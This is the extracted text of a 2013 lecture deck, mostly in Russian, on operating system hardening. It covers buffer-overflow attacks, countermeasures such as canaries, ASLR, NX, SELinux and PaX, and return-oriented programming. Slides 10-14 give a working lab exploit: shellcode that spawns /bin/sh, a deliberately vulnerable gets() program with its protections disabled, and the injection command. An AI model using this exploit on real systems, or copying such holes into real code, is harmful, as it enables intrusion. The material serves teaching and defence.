1. Opera&ng
Systems
Hardening
Sartakov
A.
Vasily
ksys
labs
Summer
Systems
School’13

2. Structure
• Intro
• Атаки
использующие
переполнение
буферов
• Средства
противодействия
атакам
основанным
на
переполнении
буферов
• Противодействия
противодействию:
Return
Oriented
Programming

3. Intro
• Morris
Worm
(November
1988)
–
Первый
известный
эксплоит
использовавший
срыв
стека
–
execve(“/bin/sh”,
0,
0)
• Thomas
Lopa&c
опубликовал
эксплоит
NCSA
HTTPD
(1995)
• “Smashing
the
Stack
for
Fun
and
Profit”
Aleph
One
(August
1996)
• Unix

4. Structure
• Intro
• Атаки
использующие
переполнение
буферов
• Средства
противодействия
атакам
основанным
на
переполнении
буферов
• Противодействия
противодействию:
Return
Oriented
Programming

5. Срыв
стека
• Подготовка
кода
(payload)
• Изменение
последовательности
выполнения
программы

6. Подготовка
кода
• Передается
в
качестве
аргументов,
команд,
обрабатываемых
данных
• Эти
данные
должны
сохраняться
в
выделенные
для
них
буфера
• Принципиальной
разницы
нет
–
статический
это
буфер
или
динамический
• Отсутствие
проверки
длины
данных
приводит
к
перезаписи
данных
за
границей
буфера.

7. Искажение
адреса
возврата
int
namelen
(void)
{
char
name[21];
gets(name);
return
strlen(name);
}
name[0]
name[1]
….
Адрес
возврата
0xFFFF
0x0
массив
Стек

8. Искажение
указателя
функции
void
dummy(void)
{
prinˆ("Hello
world!
n");
}
int
main(int
argc,
char
**argv)
{
void
(*dummyptr)();
char
buffer[100];
dummyptr=dummy;
strcpy(buffer,
argv[1]);
//
Уязвимость
(*dummyptr)();
}
buffer[0]
buffer[1]
….
dummyptr
Адрес
возврата
0xFFFF
0x0
массив
Стек

9. Искажение
указателей
данных
foo(char
*
arg)
{
char
*
p
=
arg;
//
уязвимый
указатель
char
a[40];
//
переполняемый
буфер
gets(a);
//
уязвимость
gets(p);
//
искажение
кода
}
a[0]
a[1]
….
p
arg
0xFFFF
0x0
массив
Стек
Адрес
возврата

10. Example
1
cat
>
launch.c
<<
"EOF"
int
main(int
argc,
char
**argv)
{
asm("
needle0:
jmp
theren
here:
pop
%rdin
xor
%rax,
%raxn
movb
$0x3b,
%aln
xor
%rsi,
%rsin
xor
%rdx,
%rdxn
syscalln
there:
call
heren
.string
"/bin/sh"n
needle1:
.octa
0xdeadbeefn
");
}
EOF
gcc
-­‐o
launch
launch.c
h™p://crypto.stanford.edu/~blynn/rop/

11. Shellcode
addr=0x`objdump
-­‐d
launch
|
grep
needle0
|
cut
-­‐d
-­‐f1`
addr=$((addr-­‐0x400000))
echo
...shellcode
starts
at
offset
$addr
xxd
-­‐s$addr
-­‐l32
-­‐p
launch
>
shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef

12. vic&m
cat
>
vic&m.c
<<
"EOF"
#include
<stdio.h>
int
main()
{
char
name[64];
prinˆ("%pn",
name);
//
Print
address
of
buffer.
puts("What's
your
name?");
gets(name);
prinˆ("Hello,
%s!n",
name);
return
0;
}
EOF

13. Compiling
gcc
-­‐fno-­‐stack-­‐protector
-­‐o
vic&m
vic&m.c
execstack
-­‐s
vic&m
//
disabling
executable
space
protec&on…
addr=$(echo
|
setarch
$(arch)
-­‐R
./vic&m
|
sed
1q)
//finding
buffer
address…
a=`prinˆ
%016x
$addr
|
tac
-­‐rs..`
//exploi&ng
vic&m...

14. A™ack
(
(
cat
shellcode
;
prinˆ
%080d
0
;
echo
$a
)
|
xxd
-­‐r
-­‐p
;
cat
)
|
setarch
`arch`
-­‐R
./vic&m

15. Structure
• Intro
• Атаки
использующие
переполнение
буферов
• Средства
противодействия
атакам
основанным
на
переполнении
буферов
• Противодействия
противодействию:
Return
Oriented
Programming

16. Средства
противодействия
атакам
основанным
на
переполнении
буферов
• Маркерные
значения
(Canaries)
• Рандомизация
адресного
пространства
(ASLR)
• NX
бит
• Подсистемы
безопасности
Linux

17. Маркерные
значения
a[0]
a[1]
….
EBP
Canary
0xFFFF
0x0
массив
Стек
Адрес
возврата

18. Address
Space
Layout
Randomiza&on
Name[0]
0x7f..ff
Первый
запуск
char
name[64];
prinˆ("%pn",
name);
puts("What's
your
name?");
gets(name);
prinˆ("Hello,
%s!n",
name);
7cb7ba740
Name[0]
Второй
запуск
ef5415a90

19. Эмуляция
NX
bit
Код
Данные
Стек
Код
Исполняемый
неисполняемый
Лимит
сегмента

20. NX/XD
bit:
Data
Execu&on
Preven&on(DEP)
• Physical
Address
Extension
(PAE)
• Может
защищать
не
только
весь
процесс
целиком,
но
и
его
отдельную
часть.

21. Подсистемы
безопасности
Linux
• SELinux
• PaX/GrSecurity

22. SELinux
• Разрабатывался
под
контролем
Na&onal
Security
Agency
(NSA)
• Исходный
код
был
опубликован
в
декабря
2000
• Мандатный
контроль
доступа
на
основе
контроля
меток
безопасности
объектов
и
субъектов
ОС
• Принудительная
типизация
доступа
(Type
Enforcement)

23. Проект
LOCK
• LOCK
(LOgical
Coprocessing
Kernel)
• Secure
Compu&ng
Corpora&on
(SCC)
• «A1»,Trusted
Compu&ng
System
Evalua&on
Criteria
(“Orange
Book”).
• Принудительная
типизация
доступа
• Наследие
-­‐
Sidewinder
Internet
Firewall
и
SELinux
• Изначально
было
дополнением
2.2,
2.4
• «Благодаря»
Торвальдсу
добавлено
в
ядро
в
качестве
отдельного
модуля.
Так
появился
Linux
Security
Modules
в
ядре
2.6

24. Принудительная
типизация
доступа
• Type
Enforcement
• Технология
разграничения
доступа,
при
которой
права
на
доступ
субъекта
к
объекту
даются
в
зависимости
от
текущего
контекста
безопасности.
• Контекст
безопасности
хранится
в
расширенных
атрибутах
файловой
системы
и
управляется
с
помощью
Linux
security
module
(LSM)
• Принудительная
типизация
доступа
необходима
для
реализации
мандатного
контроля
доступа,
дополняет
ролевой
контроль
доступа
(Role
Based
Access
Control
—
RBAC).

25. SELinux
• Каждый
объект
или
субъект
в
операционной
системе,
защищенной
SELinux,
должен
иметь
свою
специальную
метку,
называемую
контекстом
безопасности.
• Ext2-­‐>file-­‐>ext3
• SELinux
предоставляет
пользователю
или
приложению
только
те
права
доступа,
которые
необходимы
для
осуществления
запрошенных
действий

26. SELinux
• Каждый
процесс-­‐субъект
запускается
в
определенном
контексте
(домене)
безопасности
• Всем
ресурсам-­‐объектам
операционной
системы
ставится
в
соответствие
определенный
тип
• Высокая
степень
разграничения
доступа
к
ресурсам
• Составляет
политику
безопасности:
Список
правил,
определяющих
разрешения
на
доступ
определенных
доменов
к
определенным
типам.

27. SELinux

28. PaX/GRSecurity
•
Механизм
обеспечения
безопасного
исполнения
кода
PaX
•
Механизм
разграничения
доступа
на
основе
ролевой
политики
(RBAC)
•
Усиление
базового
механизма
chroot
•
Дополнительные
функции
и
механизмы
безопасности

29. Structure
• Intro
• Атаки
использующие
переполнение
буферов
• Средства
противодействия
атакам
основанным
на
переполнении
буферов
• Противодействия
противодействию:
Return
Oriented
Programming

30. Вопрос
Подвержена
ли
Гарвардская
архитектура
атакам
основанным
на
срыве
стека?

31. Ответ
Атаки
построенные
на
срыве
стека
–
нет,
не
подвержена.
Но
подвержена
куда
более
серьезным
атакам
из
того
же
семейства.

32. Return
oriented
programming
• Return-­‐to-­‐libc
(ret2libc)
– Позволяет
атаковать
неисполнимую
память
(DEP,
W^X,
etc)
– Вместо
перезаписи
адреса
возврата,
осуществляется
выбор
специально
подобранных
двоичных
команд
из
библиотек
в
памяти,
как
вызовов
функций.
– При
этом
данные
в
стеке
используются
как
аргументы
к
этим
функциям
– Что
в
конечном
итоге
позволяет
сделать
system(cmd)

33. Return
oriented
programming
• Вместо
возврата
из
функций
с
измененным
стеком
происходит
вызов
последовательностей
инструкций,
которые
заканчиваются
инструкцией
ret.
• Фактически
можно
обращаться
к
произвольному
региону,
прямо
в
середину
инструкции,
тем
самым
эмулируя
другой
тип
инструкций.
• Фактически,
все
что
нужно
для
взлома
–
найти
необходимую
последовательность
инструкций
в
памяти

34. Return
oriented
programming
• Gadget
–
последовательность
подходящих
инструкций
заканчивающаяся
ret
• Гаджеты
исполняют
произвольный
высокоуровневый
функционал
– Записать
данные
в
определенную
ячейку
памяти
–
add/sub/and/or/xor
– Вызвать
функцию
из
библиотеки

35. Return
oriented
programming
• Для
построения
RoP
атаки
необходимо
просканировать
исполнимые
регионы
библиотек
для
выявления
подходящих
инструкций
• Полнота
по
Тьюрингу
при
поиске
гаджетов:
Homescu,
Andrei,
et
al.
"Microgadgets:
Size
Does
Ma™er
in
Turing-­‐Complete
Return-­‐
Oriented
Programming."
WOOT.
2012.

36. Example
2
Return-­‐oriented
programming
on
64-­‐bit
Linux
Ben
Lynn
h™p://crypto.stanford.edu/~blynn/rop/

37. Выводы:
1. Маркерные
значения
+
рандомизация
+
NX
бит
не
защищают
на
100%,
но
сильно
усложняют
вторжение.
2. Превентивные
средства
защиты
(PaX),
задача
которых
противодействовать
вторжению,
вместе
с
AC
(RBAC),
так
же
уменьшают
шансы
вторжения
и
минимизируют
последствия
3. Защита
от
внедрения
вредоносного
кода
не
достаточна
для
предотвращения
исполнения
вредоносного
кода.

38. Reading
• h™p://crypto.stanford.edu/~blynn/rop/
• Roemer,
Ryan,
et
al.
"Return-­‐oriented
programming:
Systems,
languages,
and
applica&ons."
ACM
Transac&ons
on
Informa&on
and
System
Security
(TISSEC)
15.1
(2012):
2.
• Checkoway,
Stephen,
et
al.
"Can
DREs
provide
long-­‐las&ng
security?
The
case
of
return-­‐oriented
programming
and
the
AVC
Advantage."
Proceedings
of
EVT/WOTE
2009
(2009).
• Shacham,
Hovav.
"The
geometry
of
innocent
flesh
on
the
bone:
Return-­‐into-­‐libc
without
func&on
calls
(on
the
x86)."
Proceedings
of
the
14th
ACM
conference
on
Computer
and
communicaCons
security.
ACM,
2007.